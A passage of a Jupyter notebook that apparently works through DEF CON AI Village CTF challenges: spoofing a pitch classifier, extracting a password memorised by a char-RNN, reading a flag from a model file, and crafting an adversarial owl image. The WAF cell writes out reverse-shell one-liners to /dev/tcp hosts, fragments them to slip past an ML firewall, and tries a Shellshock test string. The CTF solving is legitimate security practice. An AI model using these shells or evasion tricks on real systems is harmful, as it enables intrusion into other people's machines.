ans}))#x.tolist()}))\n        #print(response.text)\n        #display(response.text.outputs)\n        #if max([int(r)for r in response.text['outputs']])>.8:\n        #display(image)\n        \n        #print(response.text)\n        R=response.text[response.text.index('[')+2:response.text.index(']')]\n        R=R.split(', ')\n        R=[float(x)for x in R]\n        for ii in range(6):\n            if R[ii]>ceilings[ii]:\n                ceilings[ii]=R[ii]\n                \n                print(ii,R[ii],y1[v0])\n                display(image)\n                keys[ii].append(image)\n                #break\n                #floors[ii]=R[ii]\n                \n            #answers[ii]+=R[ii]/min(GOES,len(x1))\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.235301Z","iopub.execute_input":"2022-08-19T12:13:23.236082Z","iopub.status.idle":"2022-08-19T12:13:23.25067Z","shell.execute_reply.started":"2022-08-19T12:13:23.236035Z","shell.execute_reply":"2022-08-19T12:13:23.249295Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#AND THIS!\n'''\ntraining_letter = pd.read_csv('../input/tmnist-alphabet-94-characters/94_character_TMNIST.csv')#'../input/tmnist-alphabet-94-characters/94_character_TMNIST.csv')#\ntraining_letter.drop(['names'],axis=1,inplace=True)\ntraining_letter2=training_letter#[training_letter['labels']==G]\ny1 = np.array(training_letter2.iloc[:,0].values)\nx1 = np.array(training_letter2.iloc[:,1:].values)\n\n#train_images = x1 \n\n#train_images_number = train_images.shape[0]\n\n#train_images_height = 28\n#train_images_width = 28\n#train_images_size = train_images_height*train_images_width\n\n#train_images = train_images.reshape(train_images_number, train_images_height, train_images_width, 1)\n#print(14799/(26+10))\n#q='_abcdefghijklmnopqrstuvwxtz'\nGOES=len(x1)\nprint(len(x1))\nfor v0 in range(0,min(GOES,len(x1))):#,69):#200):    \n    if v0%100==0:\n        print(v0)\n    i=v0\n    g=x1[i].reshape([28,28])\n    #display(g)\n    #\n    #print(g.dtype)\n    #g=g.astype(np.int8)\n    #g.dtype=np.uint8\n    data=g\n    #info = np.max(g)\n    data = data.astype(np.float64) / np.max(g) # normalize the data to 0 - 1\n    data = 255 * data # Now scale by 255\n    img = data.astype(np.uint8)\n\n\n    #display(img)\n    img=Image.fromarray(img)\n    #display(img)\n    image=img.resize((32, 32))\n    display(image)\n    #image = image.transpose(Image.FLIP_LEFT_RIGHT)\n    #display(image)\n    g=np.asarray(image)\n\n    g=g / 255.0\n\n    #rgb = scipy.misc.toimage(np_array)\n\n    #img = cv2.imread('your_image.jpg')\n    #res = cv2.resize(img, dsize=(32, 32), interpolation=cv2.INTER_CUBIC)\n\n    f=[g.tolist()]\n    #print(f)\n    #print(len(f[0]))\n    #print(len(f[0][0]))\n    ans=[]\n    for a in f:\n        ans2=[]\n        for b in a:\n            g=[[c]for c in b][::-1]\n            ans2.append(g)\n        ans.append(ans2)\n\n    #print(x.shape)\n    #print(x)\n\n    #print(ans)\n\n    try:\n        response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": ans}))#x.tolist()}))\n        #print(response.text)\n        #display(response.text.outputs)\n        #if max([int(r)for r in response.text['outputs']])>.8:\n        #display(image)\n        \n        #print(response.text)\n        R=response.text[response.text.index('[')+2:response.text.index(']')]\n        R=R.split(', ')\n        R=[float(x)for x in R]\n        for ii in range(6):\n            if R[ii]>ceilings[ii]:\n                ceilings[ii]=R[ii]\n                \n                print(ii,R[ii],y1[v0])\n                display(image)\n                keys[ii].append(image)\n                #break\n                #floors[ii]=R[ii]\n                \n            #answers[ii]+=R[ii]/min(GOES,len(x1))\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.252648Z","iopub.execute_input":"2022-08-19T12:13:23.253407Z","iopub.status.idle":"2022-08-19T12:13:23.268441Z","shell.execute_reply.started":"2022-08-19T12:13:23.25336Z","shell.execute_reply":"2022-08-19T12:13:23.267089Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"try:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"inference\", \"submission\": \"FLAG{D3FC0N}\"}))\n    if 'Try again.'not in r.text:\n        print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.270388Z","iopub.execute_input":"2022-08-19T12:13:23.270929Z","iopub.status.idle":"2022-08-19T12:13:23.380584Z","shell.execute_reply.started":"2022-08-19T12:13:23.27089Z","shell.execute_reply":"2022-08-19T12:13:23.379359Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"inference\", \"JAKT0BLQ3ZN708BA10NAP79URLTN1KILHNNNTQ6CSCRU2VSZITF6V2ZY5P2GGGJ89J6BDBHFLK648N555SCCUFUBQ6ILG}4PO77UR3JM5RCK{YDFYLZQXPI5LK4YJG45\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.38226Z","iopub.execute_input":"2022-08-19T12:13:23.383048Z","iopub.status.idle":"2022-08-19T12:13:23.393453Z","shell.execute_reply.started":"2022-08-19T12:13:23.383002Z","shell.execute_reply":"2022-08-19T12:13:23.39215Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"{dir_name}/baseball/test_pitch.json\", \"r\") as f:\n    test = json.load(f)\n    test['pitches']=[]\n    #{'x': 1, 'y': 20}, {'x': 6, 'y': 20}, {'x': 0, 'y': 10}, {'x': 3, 'y': 20}, {'x': 3, 'y': 20}, {'x': 29, 'y': 4}, {'x': 13, 'y': 1}, {'x': 13, 'y': 0}, {'x': 12, 'y': 17}, {'x': 4, 'y': 4}, {'x': 2, 'y': 26}, {'x': 1, 'y': 27}, {'x': 28, 'y': 28}, {'x': 28, 'y': 29}, {'x': 29, 'y': 29}]\n    K=18\n    J=10\n    for i in range(3):\n        test['pitches'].append({'y':J+i,'x':K})\n        test['pitches'].append({'y':J+i,'x':K+1})\n        test['pitches'].append({'y':J+i,'x':K-1})\n        test['pitches'].append({'y':J+i,'x':K+2})\n        test['pitches'].append({'y':J+i,'x':K-2})\n        \n        #test['pitches'].append({'x':K+(i+1)//2,'y':J+i//2}),K=16,J=14\ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.39623Z","iopub.execute_input":"2022-08-19T12:13:23.397377Z","iopub.status.idle":"2022-08-19T12:13:24.446006Z","shell.execute_reply.started":"2022-08-19T12:13:23.397332Z","shell.execute_reply":"2022-08-19T12:13:24.444849Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len('5372OEQW12SWS45XSV5RLJN6YG3FMK96ABA1DRG0JQJ{AOZ17VDID4VMLL48FPN9M8Y2SLFAPFZG}Z3MNIFPGM9YTN4EE4L6LGDWJKQW9UXABTK4EU83OAOCFOAU5B5O'))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.448839Z","iopub.execute_input":"2022-08-19T12:13:24.449185Z","iopub.status.idle":"2022-08-19T12:13:24.454659Z","shell.execute_reply.started":"2022-08-19T12:13:24.449154Z","shell.execute_reply":"2022-08-19T12:13:24.453662Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"5372OEQW12SWS45XSV5RLJN6YG3FMK96ABA1DRG0JQJ{AOZ17VDID4VMLL48FPN9M8Y2SLFAPFZG}Z3MNIFPGM9YTN4EE4L6LGDWJKQW9UXABTK4EU83OAOCFOAU5B5O\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.456262Z","iopub.execute_input":"2022-08-19T12:13:24.456852Z","iopub.status.idle":"2022-08-19T12:13:24.470936Z","shell.execute_reply.started":"2022-08-19T12:13:24.456803Z","shell.execute_reply":"2022-08-19T12:13:24.469848Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"code","source":"#from mFzaC== i reverse engineered that some 4 letter string produced a 64bit like !mFzaC== - and it did! 'bash'.","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.472399Z","iopub.execute_input":"2022-08-19T12:13:24.473073Z","iopub.status.idle":"2022-08-19T12:13:24.617316Z","shell.execute_reply.started":"2022-08-19T12:13:24.47304Z","shell.execute_reply":"2022-08-19T12:13:24.616407Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"coded_string=\"YmFzaC==\"\nC=base64.b64decode(coded_string)\nprint(C)","metadata":{"execution":{"iopub.status.busy":"2022-08-20T13:17:29.183295Z","iopub.execute_input":"2022-08-20T13:17:29.183743Z","iopub.status.idle":"2022-08-20T13:17:29.190093Z","shell.execute_reply.started":"2022-08-20T13:17:29.183698Z","shell.execute_reply":"2022-08-20T13:17:29.188751Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#COMMENCE PLAYTIME AND EXPERIMENTATION TO CONFIRM SUSPICION OF BASH SCRIPT:\n\n#https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions\n\nmy_str='''\"echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1)'''\nmy_str='''\"echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1)'''\n\nmy_str='''echo \"bash -c \"{'waf': 'REQUEST IS SAFE', 'output': [['dGVzd', 0.1582], ['A==', 0.1582]]}\"'''\n\nmy_str='''echo $(echo \"bash -c \"echo '{'waf': 'REQUEST IS SAFE', 'output': [['dGVzd', 0.1582], ['A==', 0.1582]]}')\"'''\n\nmy_str='''\"echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1)'''\n\n\nmy_str='bash'#0.0087\nmy_str='.... ..ash '#0.01082\nmy_str='...4 0>&'#0.00932\nmy_str='...dev/tcp/' #.00805\nmy_str='....ev/tcp/' #0.00956\n\nmy_str='''.......sh'''#0.35085\n\nmy_str='.waf.fly.dev'#0.56567\nmy_str='..https://waf.fly.dev/score'#.00805\nmy_str='..................dev/s....'#0.00805\n\n\nmy_str='echo $(echo \"bash -i >& /dev/tcp/waf.fly.dev/score/4444 0>&1\")' #0.00732\nmy_str='echo $(echo \"bash -i >& /dev/tcp/wa/**/f.fly.dev/s/**/core/4444 0>&1\")' #0.00643\n\nmy_str='echo $(echo \"bash -i >& /dev/tcp/waf.fly.dev/s/**/core/4444 0>&1\")' #passes\nmy_str='''echo $(echo \"bash -i >& /dev/tcp/waf.fly.dev/s\"+\"core/4444 0>&1\")''' #passes\n\n\n#https://www.exploit-db.com/docs/45366\nmy_str='''echo\"bash -i >& /dev/tcp/waf.fly.dev/score/4444 0>&1\"''' #0.00805\nmy_str='echo $(echo \"bash-i >&/dev/tcp/waf.fly.dev/score/4444 0>&1\")' #0.00872\n\nmy_str='''echo \"echo $(echo 'bash -i >& /dev/tcp/waf.fly.dev/score/4444 0>&1')\"'''\n\nmy_str='echo $(echo \"bash -i >& /dev/tcp/waf.fly.dev/score/4444 0>&1\")' #0.00805\n\n#VICTORY! JUST GOOGLE MORE WHEN YOU'RE ON THE RIGHT TRACK!\n\n#google 'bash injection to change input'. hit first link:\n#https://unix.stackexchange.com/questions/402550/sql-style-injection-with-bash-input\n#then from there got directed here:\n#https://serverfault.com/questions/631257/how-to-test-if-my-server-is-vulnerable-to-the-shellshock-bug\n#which had this line of code:\nmy_str='''env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"'''\nattempt=str.encode(my_str)\ninput=base64.b64encode(attempt).decode()#\"mFzaC==\"\n\ndata = json.dumps(\n    {\"input\": input}\n     )\n\nscore = requests.post(\n    \"https://waf.fly.dev/score\", \n    data=data\n)\n\nprint(input)\nprint(score.json())","metadata":{"execution":{"iopub.status.busy":"2022-08-20T13:17:31.034406Z","iopub.execute_input":"2022-08-20T13:17:31.034884Z","iopub.status.idle":"2022-08-20T13:17:31.727387Z","shell.execute_reply.started":"2022-08-20T13:17:31.034841Z","shell.execute_reply":"2022-08-20T13:17:31.725939Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"L4U44VGCQLITR2TK80Z3SV5OVR6XCJTBFB0A2GPZ0D8ORLX0KIU2AF6UAELM3{JLRIJRR7GEYK6LR1NAM4C285CIPBF0RTKHS6A}5O96NC21GUR7R3GAZUT40D3J5YXT\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.619763Z","iopub.execute_input":"2022-08-19T12:13:24.620696Z","iopub.status.idle":"2022-08-19T12:13:24.629967Z","shell.execute_reply.started":"2022-08-19T12:13:24.620657Z","shell.execute_reply":"2022-08-19T12:13:24.628851Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"../input/ai-village-ctf/leakage/pretrained_model.pt\"))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T13:24:09.667957Z","iopub.execute_input":"2022-08-19T13:24:09.668366Z","iopub.status.idle":"2022-08-19T13:24:09.736348Z","shell.execute_reply.started":"2022-08-19T13:24:09.668331Z","shell.execute_reply":"2022-08-19T13:24:09.735012Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#print(featurize(\"xXx_SkynetKilla_xXx\"))\npattern=\"xXx_SkynetKilla_xXx\"\nfor k in range(50):\n    G=featurize(pattern)\n    G=model.E(G)\n    G=model.LSTM(G)[0][:,-1,:]\n    G=model.predict(G)\n    G=chr(np.argmax(G.detach().numpy()))\n    pattern+=G\nprint(pattern)\n\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T13:24:11.54866Z","iopub.execute_input":"2022-08-19T13:24:11.549811Z","iopub.status.idle":"2022-08-19T13:24:11.892012Z","shell.execute_reply.started":"2022-08-19T13:24:11.54976Z","shell.execute_reply":"2022-08-19T13:24:11.89073Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T13:24:26.520317Z","iopub.execute_input":"2022-08-19T13:24:26.520727Z","iopub.status.idle":"2022-08-19T13:24:26.725242Z","shell.execute_reply.started":"2022-08-19T13:24:26.520693Z","shell.execute_reply":"2022-08-19T13:24:26.72376Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(len('EaYYsR4W69r38EnPAAMo0F4HV7WCXGR56A3BQI0M72ETSUNC11VS<0LCY3LKUZ71150IV1V}J9F9GTH2cII7{SK3JTKD3WLOX4U13NO<9GW0LRWN9GTB6VYLSQCV1V1O'))","metadata":{"execution":{"iopub.status.busy":"2022-08-19T13:32:44.297837Z","iopub.execute_input":"2022-08-19T13:32:44.298922Z","iopub.status.idle":"2022-08-19T13:32:44.306745Z","shell.execute_reply.started":"2022-08-19T13:32:44.298871Z","shell.execute_reply":"2022-08-19T13:32:44.30548Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"EaYYsR4W69r38EnPAAMo0F4HV7WCXGR56A3BQI0M72ETSUNC11VS<0LCY3LKUZ71150IV1V}J9F9GTH2cII7{SK3JTKD3WLOX4U13NO<9GW0LRWN9GTB6VYLSQCV1V1O\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.874733Z","iopub.execute_input":"2022-08-19T12:13:24.875171Z","iopub.status.idle":"2022-08-19T12:13:24.886591Z","shell.execute_reply.started":"2022-08-19T12:13:24.875129Z","shell.execute_reply":"2022-08-19T12:13:24.885434Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"code","source":"import h5py\nf = h5py.File('../input/ai-village-ctf/forensics/forensics.h5', 'r')\nf.attrs.get('model_config')","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.888058Z","iopub.execute_input":"2022-08-19T12:13:24.888692Z","iopub.status.idle":"2022-08-19T12:13:24.909025Z","shell.execute_reply.started":"2022-08-19T12:13:24.888655Z","shell.execute_reply":"2022-08-19T12:13:24.908048Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from keras.models import load_model\nmodel = load_model('../input/ai-village-ctf/forensics/forensics.h5')","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:24.910392Z","iopub.execute_input":"2022-08-19T12:13:24.911507Z","iopub.status.idle":"2022-08-19T12:13:30.361217Z","shell.execute_reply.started":"2022-08-19T12:13:24.91146Z","shell.execute_reply":"2022-08-19T12:13:30.360016Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"model.name","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.362622Z","iopub.execute_input":"2022-08-19T12:13:30.363268Z","iopub.status.idle":"2022-08-19T12:13:30.368928Z","shell.execute_reply.started":"2022-08-19T12:13:30.363233Z","shell.execute_reply":"2022-08-19T12:13:30.368067Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\nimport pickle\n\ntry:\n    with open(\"../input/ai-village-ctf/theft/encpickle\", \"rb\") as f:\n        byte = f.read(1)\n        while byte:\n            # Do stuff with byte.\n            byte = f.read(1)\n            print(byte)\nexcept IOError:\n     print('Error While Opening the file!') \n''' ","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.370376Z","iopub.execute_input":"2022-08-19T12:13:30.370945Z","iopub.status.idle":"2022-08-19T12:13:30.381542Z","shell.execute_reply.started":"2022-08-19T12:13:30.370912Z","shell.execute_reply":"2022-08-19T12:13:30.380645Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.382818Z","iopub.execute_input":"2022-08-19T12:13:30.383672Z","iopub.status.idle":"2022-08-19T12:13:30.490118Z","shell.execute_reply.started":"2022-08-19T12:13:30.383639Z","shell.execute_reply":"2022-08-19T12:13:30.489218Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", 'DLN29T0450VXIFL42LLA1Z958GJZ3CKFV}61LYHYN3I2QNP1XP9IHJRJ01DGM2QDFO3EB8W1LLI1KH5C946SSFM0TTXDF5VA9EIVSLFA6YH7A{EC3_IWPQR4WPSDEH2Q')","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.491529Z","iopub.execute_input":"2022-08-19T12:13:30.492118Z","iopub.status.idle":"2022-08-19T12:13:30.501366Z","shell.execute_reply.started":"2022-08-19T12:13:30.492082Z","shell.execute_reply":"2022-08-19T12:13:30.500076Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 ","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.93445Z"}}},{"cell_type":"code","source":"from tensorflow.keras.preprocessing import image\nimg = image.load_img(\"../input/ai-village-ctf/theft/owl.jpg\")\nimg.size","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.511187Z","iopub.execute_input":"2022-08-19T12:13:30.512034Z","iopub.status.idle":"2022-08-19T12:13:30.561507Z","shell.execute_reply.started":"2022-08-19T12:13:30.512001Z","shell.execute_reply":"2022-08-19T12:13:30.560173Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\n#https://medium.com/@ageitgey/machine-learning-is-fun-part-8-how-to-intentionally-trick-neural-networks-b55da32b7196\n#https://gist.github.com/ageitgey/4e1342c10a71981d0b491e1b8227328b\n\n#by hacking around with the data from the unencrypted salt pickle, i worked out it was mobilnetv1, figured it was also a mobilnet being used in theft.\n#got the imagenet weighted mobilnet and used the gradient image modification method alluded to in the 2 above links \n#just swapping out the model and editting the image size. \n\nimport numpy as np\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications import mobilenet\nfrom tensorflow.keras import backend as K\nfrom PIL import Image\nimport tensorflow as tf\ntf.compat.v1.disable_eager_execution()\n\n# Load pre-trained image recognition model\nmodel = mobilenet.MobileNet()\n\n# Grab a reference to the first and last layer of the neural net\nmodel_input_layer = model.layers[0].input\nmodel_output_layer = model.layers[-1].output\n\n# Choose an ImageNet object to fake\n# The list of classes is available here: https://gist.github.com/ageitgey/4e1342c10a71981d0b491e1b8227328b\n# Class #859 is \"toaster\"\nobject_type_to_fake = 33\n\n# Load the image to hack\nimg = image.load_img(\"../input/ai-village-ctf/theft/owl.jpg\", target_size=(224, 224))\noriginal_image = image.img_to_array(img)\n\n# Scale the image so all pixel intensities are between [-1, 1] as the model expects\noriginal_image /= 255.\noriginal_image -= 0.5\noriginal_image *= 2.\n\n# Add a 4th dimension for batch size (as Keras expects)\noriginal_image = np.expand_dims(original_image, axis=0)\n\n# Pre-calculate the maximum change we will allow to the image\n# We'll make sure our hacked image never goes past this so it doesn't look funny.\n# A larger number produces an image faster but risks more distortion.\nmax_change_above = original_image + 0.5\nmax_change_below = original_image - 0.5\n\n# Create a copy of the input image to hack on\nhacked_image = np.copy(original_image)\n\n# How much to update the hacked image in each iteration\nlearning_rate = 1\n\n# Define the cost function.\n# Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\ncost_function = model_output_layer[0, object_type_to_fake]\n\n# We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n# In this case, referring to \"model_input_layer\" will give us back image we are hacking.\ngradient_function = K.gradients(cost_function, model_input_layer)[0]\n    \n# Create a Keras function that we can call to calculate the current cost and gradient\ngrab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\ncost = 0.0\n\n# In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n# until it gets to at least 80% confidence\ntkr=0\n\nwhile cost < 0.80:\n    tkr+=1\n    # Check how close the image is to our target class and grab the gradients we\n    # can use to push it one more step in that direction.\n    # Note: It's really important to pass in '0' for the Keras learning mode here!\n    # Keras layers behave differently in prediction vs. train modes!\n    cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n    # Move the hacked image one step further towards fooling the model\n    hacked_image += gradients * learning_rate\n\n    # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n    hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n    hacked_image = np.clip(hacked_image, -1.0, 1.0)\n    if tkr%100==0:\n        print(tkr)\n        print(\"Model's predicted likelihood that the image is a loggerhead: {:.8}%\".format(cost * 100))\n\nprint(tkr)\nprint(\"Model's predicted likelihood that the image is a loggerhead: {:.8}%\".format(cost * 100))\n\n# De-scale the image's pixels from [-1, 1] back to the [0, 255] range\nimg = hacked_image[0]\nimg /= 2.\nimg += 0.5\nimg *= 255.\n\n# Save the hacked image!\nim = Image.fromarray(img.astype(np.uint8))\nim.save(\"hacked-image.png\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:30.56383Z","iopub.execute_input":"2022-08-19T12:13:30.564682Z","iopub.status.idle":"2022-08-19T12:18:34.998438Z","shell.execute_reply.started":"2022-08-19T12:13:30.564637Z","shell.execute_reply":"2022-08-19T12:18:34.997085Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#with open('../input/ai-village-ctf/salt/picklemodel', 'rb') as pickled_one:\n#    data = pickle.load(pickled_one)\n#    #for property, value in vars(data).items():\n#        #print(property, \":\", value)\n'''\n_is_group : True\nkeras_version : b'2.2.4'\nbackend : b'tensorflow'\nmodel_config : b'{\"class_name\": \"Model\", \"config\": {\"name\": \"mobilenet_1.00_224\", \"layers\": [{\"name\": \"input_1\", \"class_name\": \"InputLayer\", \"config\": {\"batch_input_shape\": [null, 224, 224, 3], \"dtype\": \"float32\", \"sparse\": false, \"name\": \"input_1\"}, \"inbound_nodes\": []}, {\"name\": \"conv1_pad\"\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.012616Z","iopub.execute_input":"2022-08-19T12:18:35.013032Z","iopub.status.idle":"2022-08-19T12:18:35.020969Z","shell.execute_reply.started":"2022-08-19T12:18:35.012997Z","shell.execute_reply":"2022-08-19T12:18:35.019813Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\nimport pickle\n#model_path='../input/ai-village-ctf/salt/picklemodel'\nwith open('../input/ai-village-ctf/salt/picklemodel', 'rb') as pickled_one:\n    data = pickle.load(pickled_one)\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:18:35.022466Z","iopub.execute_input":"2022-08-19T12:18:35.023169Z","iopub.status.idle":"2022-08-19T12:18:35.399125Z","shell.execute_reply.started":"2022-08-19T12:18:35.023133Z","shell.execute_reply":"2022-08-19T12:18:35.397856Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\n# Submission Helper\n#import imghdr\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open('./hacked-image.png')\n#img=Im.open(f\"{dir_name}/theft/owl.jpg\")\nimg = 